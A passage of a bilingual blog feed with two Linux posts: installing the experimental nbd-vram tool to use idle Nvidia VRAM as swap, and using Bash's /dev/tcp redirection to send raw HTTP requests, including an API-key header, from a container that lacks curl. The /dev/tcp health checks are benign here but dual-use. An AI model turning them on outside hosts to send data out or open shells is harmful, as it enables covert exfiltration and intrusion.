https://yuceltoluyag.github.io/en/2026-06-26T03:32:00+03:002026-06-26T03:32:00+03:002026-06-26T03:32:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/nvidia-vram-swap-alani-nbd-vram/

<p>We explore how to configure the idle VRAM of your Nvidia graphics card as high-priority swap space on Linux using NBD (Network Block Device) and CUDA.</p>

<p>The other day, around midnight at my desk, I was analyzing the resource usage of our old hybrid graphics laptop (AMD CPU + Nvidia GPU). Since the AMD card drives the display, that sweet Nvidia GPU just sat there completely idle, VRAM totally empty. Since the RAM is soldered to the motherboard, I have no way of upgrading it. While thinking, "Man, it would be awesome if we could use this idle GPU memory as a swap space," a fresh project fell right onto my screen from the dark corners of GitHub: <strong>nbd-vram</strong>.</p> <div class="admonition warning"> <p class="admonition-title">Critical Warning: All Responsibility is Yours! ⚠️</p> <p>Let me warn you in bold letters right from the start, my friend: this project is very new and completely experimental. Before installing and trying it on your system, make sure to back up your critical data. The responsibility is entirely yours! I just discovered this crazy repo and poked around to see how it works.</p> </div> <p>Using idle graphics card memory as swap space is like turning that fancy, unused guest room in your house into a pantry to relieve the clutter in the main rooms. If you are ready for such an experimental adventure, my friend, let's take a close look at the clever engineering details behind this system and how to set it up.</p> <hr/> <h2 id="how-does-nbd-vram-work">🛠️ How Does NBD-VRAM Work?<a class="headerlink" href="#how-does-nbd-vram-work" title="Permanent link">#</a></h2> <p>To open Nvidia graphics card memory directly for CPU usage, normally the Nvidia P2P API (mapping physical memory pages via ioremap) is tried. However, Nvidia restricts this API at the driver level for consumer GeForce cards. The solution only works on professional Quadro or datacenter cards.</p> <p>Here is how <code>nbd-vram</code> bypasses this barrier in a very clever way:</p> <ol> <li>A small service (daemon) running in the background allocates a space on VRAM using the standard CUDA driver API (which works on every card without CUDA restrictions).</li> <li>This service serves the allocated VRAM space as a virtual disk over a local Unix socket using the NBD (Network Block Device)<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> protocol.</li> <li>The <code>nbd</code> module, already present in the Linux kernel, connects to this socket and presents it to the OS as a regular disk named <code>/dev/nbd0</code>.</li> <li>All that is left is to activate this disk as swap space using the standard <code>mkswap</code> and <code>swapon</code> commands.</li> </ol> <p>Throughout this process, no special kernel modules need to be written. Even if the kernel gets updated, the code does not need to be recompiled.</p> <hr/> <h2 id="step-by-step-installation">🏗️ Step-by-Step Installation<a class="headerlink" href="#step-by-step-installation" title="Permanent link">#</a></h2> <p>Let me remind you once more; this process is experimental. If you want to try it, after installing the necessary packages (Nvidia driver, <code>nbd-client</code>, <code>gcc</code>, and <code>make</code>), you can run the following commands:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/c0dejedi/nbd-vram $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>nbd-vram $<span class="w"> </span>sudo<span class="w"> </span>./install.sh </code></pre></div> <p>The installation script (<code>install.sh</code>) will automatically configure the service files and connection threads based on your CPU core count. To start the service:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>vram-swap-nbd </code></pre></div> <p>To verify the installation is successful, you can query active swap spaces:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>swapon<span class="w"> </span>--show </code></pre></div> <p>If you see a swap space named <code>/dev/nbd0</code> with your designated size in the output, you're good to go.</p> <hr/> <h2 id="security-and-deadlock-protection">🔒 Security and Deadlock Protection<a class="headerlink" href="#security-and-deadlock-protection" title="Permanent link">#</a></h2> <p>When running a system entirely on swap space, if the RAM drops to zero, the OS trying to page the background NBD service to disk creates a complete deadlock loop.</p> <p><code>nbd-vram</code> uses two important Linux security and memory mechanisms to prevent this:</p> <ul> <li><strong>mlockall:<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></strong> The service locks its own memory in physical RAM via the <code>mlockall</code> call. This prevents the kernel from ever trying to page the service's own code to the swap space on disk.</li> <li><strong>PR_SET_IO_FLUSHER:</strong> The service registers itself to the kernel as an "IO Flusher." This prevents system lockups even when RAM is completely exhausted.</li> <li><strong>OOMScoreAdjust=-1000:</strong> The priority of the service is set to the highest level to prevent the kernel from terminating the service when running out of RAM (OOM Killer).</li> </ul> <hr/> <h2 id="power-management-and-what-happens-when-gaming">⚡ Power Management and What Happens When Gaming?<a class="headerlink" href="#power-management-and-what-happens-when-gaming" title="Permanent link">#</a></h2> <p>During installation, the service asks whether to automatically disable the swap space when disconnected from AC power (battery mode). Activating this makes sense for battery savings.</p> <p>When you want to use your graphics card for gaming or running AI models, you have two options: either reduce <code>VRAM_SETUP_SIZE_MB</code> in <code>/etc/systemd/system/vram-swap-nbd.service</code> to leave headroom for the GPU, or stop the service manually before starting heavy workloads:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>vram-swap-nbd </code></pre></div> <p>When the service is stopped, the data inside the VRAM is safely moved back to regular RAM or disk.</p> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/yerel-llmler-icin-en-iyi-gpu-2026/">Best Graphics Cards for Local LLMs (2026)</a></li> <li><a href="/en/docker-node-js-root-olmadan-calistirmak/">Running Node.js Containers Without Root in Docker</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Network Block Device; a Linux kernel protocol that exposes a storage space as a block device over network or local Unix sockets.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>A Linux system call that locks physical memory pages in RAM, preventing the kernel from paging those pages to the swap space.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T03:32:00+03:002026-06-26T03:32:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/nvidia-vram-swap-alani-nbd-vram/

<p>Nvidia ekran kartınızın boşta yatan VRAM belleğini, NBD (Network Block Device) ve CUDA yardımıyla Linux üzerinde nasıl yüksek öncelikli takas (swap) alanı olarak yapılandırabileceğinizi inceliyoruz.</p>

<p>Ge&ccedil;en g&uuml;n gece yar&inodot;s&inodot; &ccedil;al&inodot;&scedil;ma masamda, bizim emektar hibrit grafik kartl&inodot; laptopun (AMD i&scedil;lemci + Nvidia GPU) kaynak t&uuml;ketimini inceliyordum. Ekran&inodot; AMD kart&inodot; s&uuml;rd&uuml;&gbreve;&uuml; i&ccedil;in, o can&inodot;m Nvidia GPU orada &ouml;ylece mel&uuml;l mel&uuml;l yat&inodot;yor, VRAM'i bombo&scedil; duruyordu. Laptopta RAM anakarta lehimli oldu&gbreve;u i&ccedil;in donan&inodot;m y&uuml;kseltme &scedil;ans&inodot;m da yok. Kendi kendime "Ulan &scedil;u bo&scedil;ta duran ekran kart&inodot; belle&gbreve;ini swap (takas) alan&inodot; olarak kullanabilsek ne g&uuml;zel olurdu" diye d&uuml;&scedil;&uuml;n&uuml;rken, GitHub'&inodot;n o karanl&inodot;k dehlizlerinde &ouml;n&uuml;me duman&inodot; &uuml;st&uuml;nde taptaze bir proje d&uuml;&scedil;t&uuml;: <strong>nbd-vram</strong>.</p> <div class="admonition warning"> <p class="admonition-title">Kritik Uyar&inodot;: Sorumluluk Tamamen Sende! ⚠️</p> <p>Hemen en ba&scedil;tan kal&inodot;n harflerle uyaray&inodot;m dostum: Bu proje hen&uuml;z &ccedil;ok yeni ve tamamen deneysel. Sisteminize kurup denemeden &ouml;nce mutlaka kritik verilerinizi yedekleyin. Sorumluluk tamamen sende! Ben sadece bu &ccedil;&inodot;lg&inodot;n repoyu ke&scedil;fettim ve nas&inodot;l &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot;n&inodot; kurcalad&inodot;m.</p> </div> <p>Bo&scedil;ta yatan ekran kart&inodot; belle&gbreve;ini takas alan&inodot; olarak kullanmak, evde hi&ccedil; kullan&inodot;lmayan o s&uuml;sl&uuml; misafir odas&inodot;n&inodot; kiler yap&inodot;p ana odalardaki y&uuml;k&uuml; hafifletmeye benzer. E&gbreve;er b&ouml;yle deneysel bir maceraya haz&inodot;rsan dostum, gelin bu sistemin arkas&inodot;ndaki o kurnaz m&uuml;hendislik detaylar&inodot;na ve kurulumuna yak&inodot;ndan bakal&inodot;m.</p> <hr/> <h2 id="nbd-vram-nasl-calsr">🛠️ NBD-VRAM Nas&inodot;l &Ccedil;al&inodot;&scedil;&inodot;r?<a class="headerlink" href="#nbd-vram-nasl-calsr" title="Permanent link">#</a></h2> <p>Nvidia ekran kart&inodot;n&inodot;n belle&gbreve;ini do&gbreve;rudan CPU'nun kullan&inodot;m&inodot;na a&ccedil;mak i&ccedil;in normalde Nvidia P2P API'si (fiziksel bellek sayfalar&inodot;n&inodot; ioremap arac&inodot;l&inodot;&gbreve;&inodot;yla haritalama) denenir. Ancak Nvidia, son t&uuml;keticiye sat&inodot;lan GeForce ekran kartlar&inodot;nda bu API'yi s&uuml;r&uuml;c&uuml; d&uuml;zeyinde k&inodot;s&inodot;tl&inodot;yor. &Ccedil;&ouml;z&uuml;m sadece profesyonel Quadro veya veri merkezi kartlar&inodot;nda &ccedil;al&inodot;&scedil;&inodot;yor. </p> <p>&Idot;&scedil;te <code>nbd-vram</code> bu engeli a&scedil;mak i&ccedil;in &ccedil;ok ak&inodot;ll&inodot;ca bir y&ouml;ntem kullan&inodot;yor:</p> <ol> <li>Arka planda &ccedil;al&inodot;&scedil;an k&uuml;&ccedil;&uuml;k bir servis (daemon), standart CUDA s&uuml;r&uuml;c&uuml; API'sini kullanarak VRAM &uuml;zerinde bir alan ay&inodot;r&inodot;r (CUDA k&inodot;s&inodot;tlamas&inodot;z her kartta &ccedil;al&inodot;&scedil;&inodot;r).</li> <li>Bu servis, ay&inodot;rd&inodot;&gbreve;&inodot; VRAM alan&inodot;n&inodot; NBD (Network Block Device)<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> protokol&uuml;n&uuml; kullanarak yerel bir Unix soketi &uuml;zerinden sanal bir disk olarak sunar.</li> <li>Linux &ccedil;ekirde&gbreve;inin i&ccedil;inde haz&inodot;r bulunan <code>nbd</code> mod&uuml;l&uuml; bu sokete ba&gbreve;lan&inodot;r ve i&scedil;letim sistemine <code>/dev/nbd0</code> ad&inodot;nda normal bir disk gibi tan&inodot;t&inodot;r.</li> <li>Geriye sadece bu diski standart <code>mkswap</code> ve <code>swapon</code> komutlar&inodot;yla takas alan&inodot; olarak aktif etmek kal&inodot;r.</li> </ol> <p>T&uuml;m bu s&uuml;re&ccedil; boyunca hi&ccedil;bir &ouml;zel &ccedil;ekirdek mod&uuml;l&uuml; yazmaya gerek kalmaz. &Ccedil;ekirdek g&uuml;ncellense bile kodun yeniden derlenmesi gerekmez.</p> <hr/> <h2 id="adm-adm-kurulum">🏗️ Ad&inodot;m Ad&inodot;m Kurulum<a class="headerlink" href="#adm-adm-kurulum" title="Permanent link">#</a></h2> <p>Tekrar hat&inodot;rlat&inodot;yorum; bu i&scedil;lem deneyseldir. Denemek istiyorsan&inodot;z gerekli paketleri (Nvidia s&uuml;r&uuml;c&uuml;s&uuml;, <code>nbd-client</code>, <code>gcc</code> ve <code>make</code>) kurduktan sonra &scedil;u komutlar&inodot; &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/c0dejedi/nbd-vram $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>nbd-vram $<span class="w"> </span>sudo<span class="w"> </span>./install.sh </code></pre></div> <p>Kurulum beti&gbreve;i (<code>install.sh</code>), i&scedil;lemci &ccedil;ekirdek say&inodot;n&inodot;za g&ouml;re servis dosyalar&inodot;n&inodot; ve ba&gbreve;lant&inodot; i&scedil; par&ccedil;ac&inodot;klar&inodot;n&inodot; otomatik yap&inodot;land&inodot;racakt&inodot;r. Servisi ba&scedil;latmak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>start<span class="w"> </span>vram-swap-nbd </code></pre></div> <p>Kurulumun ba&scedil;ar&inodot;l&inodot; oldu&gbreve;unu do&gbreve;rulamak i&ccedil;in aktif swap alanlar&inodot;n&inodot; sorgulayabilirsiniz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>swapon<span class="w"> </span>--show </code></pre></div> <p>E&gbreve;er &ccedil;&inodot;kt&inodot;da <code>/dev/nbd0</code> ad&inodot;nda, belirledi&gbreve;iniz boyutta bir takas alan&inodot; g&ouml;r&uuml;yorsan&inodot;z i&scedil;lem tamamd&inodot;r.</p> <hr/> <h2 id="guvenlik-ve-kilitlenme-deadlock-korumas">🔒 G&uuml;venlik ve Kilitlenme (Deadlock) Korumas&inodot;<a class="headerlink" href="#guvenlik-ve-kilitlenme-deadlock-korumas" title="Permanent link">#</a></h2> <p>Bir sistemi tamamen takas alan&inodot; &uuml;zerinden ko&scedil;tururken, RAM s&inodot;f&inodot;ra indi&gbreve;inde arka plandaki NBD servisinin de i&scedil;letim sistemi taraf&inodot;ndan diske yaz&inodot;lmaya &ccedil;al&inodot;&scedil;&inodot;lmas&inodot; (paging) tam bir kilitlenme (deadlock) k&inodot;s&inodot;rd&ouml;ng&uuml;s&uuml; olu&scedil;turur. </p> <p><code>nbd-vram</code> bu durumu &ouml;nlemek i&ccedil;in iki &ouml;nemli Linux g&uuml;venlik ve bellek mekanizmas&inodot;n&inodot; kullan&inodot;yor:</p> <ul> <li><strong>mlockall:<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup></strong> Servis kendi kulland&inodot;&gbreve;&inodot; belle&gbreve;i <code>mlockall</code> &ccedil;a&gbreve;r&inodot;s&inodot;yla fiziksel RAM'e kilitler. B&ouml;ylece &ccedil;ekirdek, servisin kendi kodunu asla diskteki takas alan&inodot;na yazmaya &ccedil;al&inodot;&scedil;amaz.</li> <li><strong>PR_SET_IO_FLUSHER:</strong> Servis, kendisini &ccedil;ekirde&gbreve;e bir "G/&Ccedil; temizleyici" (IO Flusher) olarak kaydeder. Bu sayede RAM tamamen bitti&gbreve;inde bile sistemin kilitlenmesini engeller.</li> <li><strong>OOMScoreAdjust=-1000:</strong> &Ccedil;ekirde&gbreve;in RAM bitti&gbreve;inde servisi sonland&inodot;rmas&inodot;n&inodot; (OOM Killer) &ouml;nlemek i&ccedil;in servisin &ouml;nceli&gbreve;i en &uuml;st d&uuml;zeye &ccedil;ekilir.</li> </ul> <hr/> <h2 id="guc-yonetimi-ve-oyun-oynarken-ne-olacak">⚡ G&uuml;&ccedil; Y&ouml;netimi ve Oyun Oynarken Ne Olacak?<a class="headerlink" href="#guc-yonetimi-ve-oyun-oynarken-ne-olacak" title="Permanent link">#</a></h2> <p>Servis kurulurken size AC g&uuml;c&uuml;nden &ccedil;&inodot;k&inodot;ld&inodot;&gbreve;&inodot;nda (pil modunda) swap alan&inodot;n&inodot; otomatik devreden &ccedil;&inodot;kar&inodot;p &ccedil;&inodot;karmayaca&gbreve;&inodot;n&inodot; sorar. Pil tasarrufu i&ccedil;in bunu aktif etmek mant&inodot;kl&inodot;d&inodot;r.</p> <p>Ekran kart&inodot;n&inodot; oyun oynamak veya yapay zeka modelleri ko&scedil;turmak i&ccedil;in kullanaca&gbreve;&inodot;n&inodot;zda ise iki se&ccedil;ene&gbreve;iniz var: ya <code>/etc/systemd/system/vram-swap-nbd.service</code> dosyas&inodot;ndan <code>VRAM_SETUP_SIZE_MB</code> de&gbreve;erini d&uuml;&scedil;&uuml;rerek ekran kart&inodot;na pay b&inodot;rakacaks&inodot;n&inodot;z, ya da a&gbreve;&inodot;r bir i&scedil;e girmeden &ouml;nce servisi manuel olarak durduracaks&inodot;n&inodot;z:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>sudo<span class="w"> </span>systemctl<span class="w"> </span>stop<span class="w"> </span>vram-swap-nbd </code></pre></div> <p>Servis durduruldu&gbreve;unda, VRAM i&ccedil;indeki veriler g&uuml;venli bir &scedil;ekilde normal RAM'e veya diske geri ta&scedil;&inodot;n&inodot;r.</p> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/yerel-llmler-icin-en-iyi-gpu-2026/">Yerel LLM'ler &Idot;&ccedil;in En &Idot;yi Ekran Kartlar&inodot; (2026)</a></li> <li><a href="/docker-node-js-root-olmadan-calistirmak/">Docker'da Node.js Konteynerlerini Root Olmadan &Ccedil;al&inodot;&scedil;t&inodot;rmak</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Network Block Device; bir depolama alan&inodot;n&inodot; a&gbreve; &uuml;zerinden veya yerel unix soketleriyle blok cihaz&inodot; olarak sunan Linux &ccedil;ekirdek protokol&uuml;d&uuml;r.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Fiziksel bellek sayfalar&inodot;n&inodot; RAM'e kilitleyerek, &ccedil;ekirde&gbreve;in o sayfalar&inodot; takas alan&inodot;na (swap) yazmas&inodot;n&inodot; engelleyen Linux sistem &ccedil;a&gbreve;r&inodot;s&inodot;d&inodot;r.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T03:10:00+03:002026-06-26T03:10:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/en/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/

<p>When curl or wget is missing in a Docker container, we can use Bash's built-in /dev/tcp redirection to send raw HTTP requests.</p>

<p>The other night, around 3 AM, I <code>exec</code>'d into one of our production microservices to check its health. My immediate plan was to run that classic <code>curl http://localhost:8080/health</code> command. But guess what? We had stripped down the image so much that there was no <code>curl</code>, no <code>wget</code>, and not a single technical tool to open a socket! I felt like a technician with tied hands in a bare server room. Right at that moment, I recalled a famous Bash trick I had read about years ago but never used in practice: the <code>/dev/tcp</code> redirection. Thanks to this method, without needing any external tools, I fired HTTP requests right from the container using only Bash and tested the connection in seconds.</p> <p>Struggling inside a minimal container with no toolbox&mdash;just a dry shell&mdash;is like trying to fix an engine without even a screwdriver in your hand. That's why, my friend, we are going to talk in detail about how to stand up raw HTTP requests using only Bash's own capabilities, which will come to our rescue in these moments of despair.</p> <hr/> <h2 id="opening-a-tcp-socket-with-bash">🔌 Opening a TCP Socket with Bash<a class="headerlink" href="#opening-a-tcp-socket-with-bash" title="Permanent link">#</a></h2> <p>Normally, we'd use tools like <code>nc</code> (netcat), <code>telnet</code>, or <code>curl</code> to talk to a server over TCP. However, Bash natively possesses the ability to open a TCP/UDP socket at the OS level.</p> <p>We can send an HTTP GET request to a target using only this three-line command sequence:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">exec</span><span class="w"> </span><span class="m">3</span>&lt;&gt;/dev/tcp/service/8642 $<span class="w"> </span><span class="nb">printf</span><span class="w"> </span><span class="s1">'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n'</span><span class="w"> </span>&gt;<span class="p">&amp;</span><span class="m">3</span> $<span class="w"> </span>cat<span class="w"> </span>&lt;<span class="p">&amp;</span><span class="m">3</span> </code></pre></div> <p>Let's see what is happening here step-by-step:</p> <ol> <li><code>exec 3&lt;&gt;/dev/tcp/service/8642</code>: We tell Bash to open a TCP socket to port <code>8642</code> of the host <code>service</code> in both read and write directions, and bind this socket to file descriptor <code>3</code>.</li> <li><code>printf '...' &gt;&amp;3</code>: We write our raw HTTP/1.1 request into file descriptor <code>3</code> (meaning, the socket we opened).</li> <li><code>cat &lt;&amp;3</code>: We read the response coming from the socket and print it to the screen (stdout).</li> </ol> <p>When you run these commands, you'll see the HTTP status code, HTTP headers, and the response body returned by the server in full.</p> <hr/> <h2 id="adding-authorization-headers">🔒 Adding Authorization Headers<a class="headerlink" href="#adding-authorization-headers" title="Permanent link">#</a></h2> <p>If the service you want to test is closed to anonymous requests and needs an <code>Authorization</code> header, you can add this header inside the <code>printf</code> command, paying close attention to the line-ending characters (<code>\r\n</code>):</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">exec</span><span class="w"> </span><span class="m">3</span>&lt;&gt;/dev/tcp/service/8642 $<span class="w"> </span><span class="nb">printf</span><span class="w"> </span><span class="s1">'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n'</span><span class="w"> </span><span class="s2">"</span><span class="nv">$API_KEY</span><span class="s2">"</span><span class="w"> </span>&gt;<span class="p">&amp;</span><span class="m">3</span> $<span class="w"> </span>cat<span class="w"> </span>&lt;<span class="p">&amp;</span><span class="m">3</span> </code></pre></div> <p>The most critical point to watch out for is that each HTTP header must end with <code>\r\n</code> (carriage return and line feed), and double <code>\r\n\r\n</code> must be left at the very end to signal the server that the request body is complete.</p> <hr/> <h2 id="what-is-devtcp-and-how-does-it-work">🧠 What is /dev/tcp and How Does It Work?<a class="headerlink" href="#what-is-devtcp-and-how-does-it-work" title="Permanent link">#</a></h2> <p>There is a detail here that won't escape sharp eyes: there is no directory or file named <code>/dev/tcp</code> in the Linux filesystem. If you write <code>ls /dev/tcp</code> in the terminal, the system will throw a file not found error.</p> <p>That's because the <code>/dev/tcp/host/port</code> path is not a real file, but a virtual redirection recognized and caught specifically by Bash internally.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> When Bash sees this special string, instead of looking for a file on disk, it triggers the <code>connect(2)</code> system call in the background to establish a direct TCP connection to the respective IP and port.</p> <div class="admonition warning"> <p class="admonition-title">Critical Detail: Connection: close Header Is Required! ⚠️</p> <p>In the HTTP/1.1 protocol, connections are kept open by default (keep-alive).<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> If you don't add the <code>Connection: close</code> header to the request, the server won't close the connection after sending the response. In this case, the <code>cat &lt;&amp;3</code> command will hang forever waiting for new data, locking up your terminal. We must explicitly request the connection to close to prevent this.</p> </div> <div class="admonition note"> <p class="admonition-title">Limitation: No TLS (HTTPS) Support 🔒</p> <p>This virtual device only opens raw (plaintext) TCP sockets. This means you cannot test secure connections starting with <code>https://</code> directly using this method; there is no cryptography layer to handle the SSL/TLS handshake.</p> </div> <div class="admonition note"> <p class="admonition-title">Not POSIX Standard ⚙️</p> <p>This feature is specific to Bash. It won't work on Debian's default shell <code>dash</code> (<code>/bin/sh</code>) or <code>zsh</code>. So, you must make sure to put <code>#!/bin/bash</code> at the very beginning of your scripts, my friend.</p> </div> <p>Keeping containers secure and tiny by leaving out unnecessary tools is an excellent DevOps practice. But when you get stuck in these minimal environments, Bash's hidden capability lets you quickly test the state of your services without installing any packages.</p> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/docker-node-js-root-olmadan-calistirmak/">Running Node.js Containers Without Root in Docker</a></li> <li><a href="/en/docker-imaj-boyutu-kucultme-rehberi/">Diet for Fat Docker Images: Journey from 1.2 GB to 78 MB</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>This is the network redirection feature activated via the <code>--enable-net-redirections</code> parameter during Bash's compilation.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>The rule in the HTTP/1.1 protocol where the TCP connection is kept open rather than closed after every request.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-26T03:10:00+03:002026-06-26T03:10:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-26:/curl-olmayan-konteynerde-bash-ile-http-istegi-dev-tcp/

<p>Docker konteynerlerinde curl veya wget bulunmadığında, Bash'in kendi /dev/tcp yönlendirmesini kullanarak nasıl ham HTTP istekleri gönderebileceğimizi inceliyoruz.</p>

<p>Ge&ccedil;en gece saat tam &uuml;&ccedil; sular&inodot;nda, canl&inodot; ortamdaki (production) mikroservislerden birinin sa&gbreve;l&inodot;k durumunu (healthcheck) kontrol etmek i&ccedil;in konteynere <code>exec</code> ile ba&gbreve;land&inodot;m. Kafamda hemen o klasik <code>curl http://localhost:8080/health</code> komutunu &ccedil;al&inodot;&scedil;t&inodot;rmak vard&inodot;. Fakat o da ne? &Idot;maj&inodot; o kadar k&inodot;rp&inodot;p k&uuml;&ccedil;&uuml;ltm&uuml;&scedil;t&uuml;k ki, i&ccedil;eride ne <code>curl</code> var, ne <code>wget</code>, ne de soket a&ccedil;abilece&gbreve;im ba&scedil;ka bir teknik ara&ccedil;! &Ccedil;&inodot;plak bir sunucu odas&inodot;nda elleri kollar&inodot; ba&gbreve;lanm&inodot;&scedil; bir teknisyen gibi hissettim. &Idot;&scedil;te o an, y&inodot;llar &ouml;nce okudu&gbreve;um ama pratikte hi&ccedil; kullanmad&inodot;&gbreve;&inodot;m o me&scedil;hur Bash numaras&inodot;n&inodot; hat&inodot;rlad&inodot;m: <code>/dev/tcp</code> y&ouml;nlendirmesi. Bu y&ouml;ntem sayesinde hi&ccedil;bir harici araca ihtiya&ccedil; duymadan, sadece Bash kullanarak konteyner i&ccedil;inden HTTP istekleri f&inodot;rlat&inodot;p ba&gbreve;lant&inodot;y&inodot; saniyeler i&ccedil;inde test ettim.</p> <p>&Idot;&ccedil;inde hi&ccedil;bir alet &ccedil;antas&inodot; olmayan, sadece kuru bir kabuktan ibaret olan minimal bir konteynerde debelenmek, elinde tornavida bile olmadan bir motoru tamir etmeye &ccedil;al&inodot;&scedil;maya benzer. &Idot;&scedil;te bu y&uuml;zden dostum, bug&uuml;n bu &ccedil;aresizlik anlar&inodot;nda imdad&inodot;m&inodot;za yeti&scedil;ecek olan, Bash'in kendi yetenekleriyle ham HTTP isteklerini nas&inodot;l aya&gbreve;a kald&inodot;raca&gbreve;&inodot;m&inodot;z&inodot; detayl&inodot;ca konu&scedil;aca&gbreve;&inodot;z.</p> <hr/> <h2 id="bash-ile-tcp-soketi-acmak">🔌 Bash ile TCP Soketi A&ccedil;mak<a class="headerlink" href="#bash-ile-tcp-soketi-acmak" title="Permanent link">#</a></h2> <p>Normalde bir sunucuyla TCP &uuml;zerinden konu&scedil;mak i&ccedil;in <code>nc</code> (netcat), <code>telnet</code> veya <code>curl</code> gibi ara&ccedil;lar kullan&inodot;r&inodot;z. Ancak Bash, i&scedil;letim sistemi d&uuml;zeyinde bir TCP/UDP soketi a&ccedil;ma yetene&gbreve;ine yerle&scedil;ik olarak sahiptir. </p> <p>Sadece a&scedil;a&gbreve;&inodot;daki &uuml;&ccedil; sat&inodot;rl&inodot;k komut dizisini kullanarak bir hedefe HTTP GET iste&gbreve;i g&ouml;nderebiliriz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">exec</span><span class="w"> </span><span class="m">3</span>&lt;&gt;/dev/tcp/service/8642 $<span class="w"> </span><span class="nb">printf</span><span class="w"> </span><span class="s1">'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n'</span><span class="w"> </span>&gt;<span class="p">&amp;</span><span class="m">3</span> $<span class="w"> </span>cat<span class="w"> </span>&lt;<span class="p">&amp;</span><span class="m">3</span> </code></pre></div> <p>Burada neler oldu&gbreve;unu ad&inodot;m ad&inodot;m inceleyelim:</p> <ol> <li><code>exec 3&lt;&gt;/dev/tcp/service/8642</code>: Bash'e, <code>service</code> ana makinesinin <code>8642</code> portuna hem okuma hem yazma y&ouml;n&uuml;nde bir TCP soketi a&ccedil;mas&inodot;n&inodot; ve bu soketi <code>3</code> numaral&inodot; dosya tan&inodot;mlay&inodot;c&inodot;s&inodot;na (file descriptor) ba&gbreve;lamas&inodot;n&inodot; s&ouml;ylyoruz.</li> <li><code>printf '...' &gt;&amp;3</code>: Haz&inodot;rlad&inodot;&gbreve;&inodot;m&inodot;z ham HTTP/1.1 iste&gbreve;ini bu <code>3</code> numaral&inodot; dosya tan&inodot;mlay&inodot;c&inodot;s&inodot;na (yani a&ccedil;t&inodot;&gbreve;&inodot;m&inodot;z sokete) yaz&inodot;yoruz.</li> <li><code>cat &lt;&amp;3</code>: Soketten gelen yan&inodot;t&inodot; okuyup ekrana (stdout) bas&inodot;yoruz.</li> </ol> <p>Bu komutlar&inodot; &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda kar&scedil;&inodot;n&inodot;za sunucudan d&ouml;nen HTTP durum kodu, HTTP ba&scedil;l&inodot;klar&inodot; (headers) ve yan&inodot;t g&ouml;vdesi (body) eksiksiz olarak gelecektir.</p> <hr/> <h2 id="yetkilendirme-baslklar-eklemek">🔒 Yetkilendirme Ba&scedil;l&inodot;klar&inodot; Eklemek<a class="headerlink" href="#yetkilendirme-baslklar-eklemek" title="Permanent link">#</a></h2> <p>E&gbreve;er test etmek istedi&gbreve;iniz servis anonim isteklere kapal&inodot;ysa ve bir <code>Authorization</code> ba&scedil;l&inodot;&gbreve;&inodot;na ihtiya&ccedil; duyuyorsa, <code>printf</code> komutunun i&ccedil;ine sat&inodot;r sonu karakterlerine (<code>\r\n</code>) dikkat ederek bu ba&scedil;l&inodot;&gbreve;&inodot; da ekleyebilirsiniz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span><span class="nb">exec</span><span class="w"> </span><span 